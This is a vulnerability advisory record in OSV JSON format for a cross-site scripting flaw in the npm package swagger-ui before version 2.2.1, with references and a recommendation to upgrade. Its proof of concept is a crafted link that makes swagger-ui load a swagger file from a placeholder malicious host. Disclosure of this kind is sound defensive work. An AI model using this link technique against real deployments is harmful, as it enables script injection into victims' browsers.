原始 OSV JSON{
"id": "GHSA-7f59-x49p-v8mq",
"aliases": [
"CVE-2016-1000226"
],
"details": "Affected versions of `swagger-ui` are vulnerable to cross-site scripting in both the `consumes` and `produces` parameters of the swagger JSON document for a given API.\n\nAdditionally, `swagger-ui` allows users to load arbitrary swagger JSON documents via the query string parameter `url`, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.\n\n## Proof of Concept\n\n```\nhttp://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json\n````\n\n\n\n## Recommendation\n\nUpdate to version 2.2.1 or later.",
"summary": "Cross-Site Scripting in swagger-ui",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.1"
}
]
}
],
"package": {
"name": "swagger-ui",
"ecosystem": "npm"
}
}
],
"modified": "2021-09-23T21:29:50Z",
"severity": [],
"published": "2020-09-01T15:28:45Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-1000226",
"type": "ADVISORY"
},
{
"url": "https://github.com/swagger-api/swagger-ui/issues/1866",
"type": "WEB"
},
{
"url": "https://github.com/swagger-api/swagger-ui/pull/1867",
"type": "WEB"
},
{
"url": "https://github.com/swagger-api/swagger-ui",
"type": "PACKAGE"
},
{
"url": "https://www.npmjs.com/advisories/123",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"severity": "CRITICAL",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2020-08-31T18:11:35Z"
}
}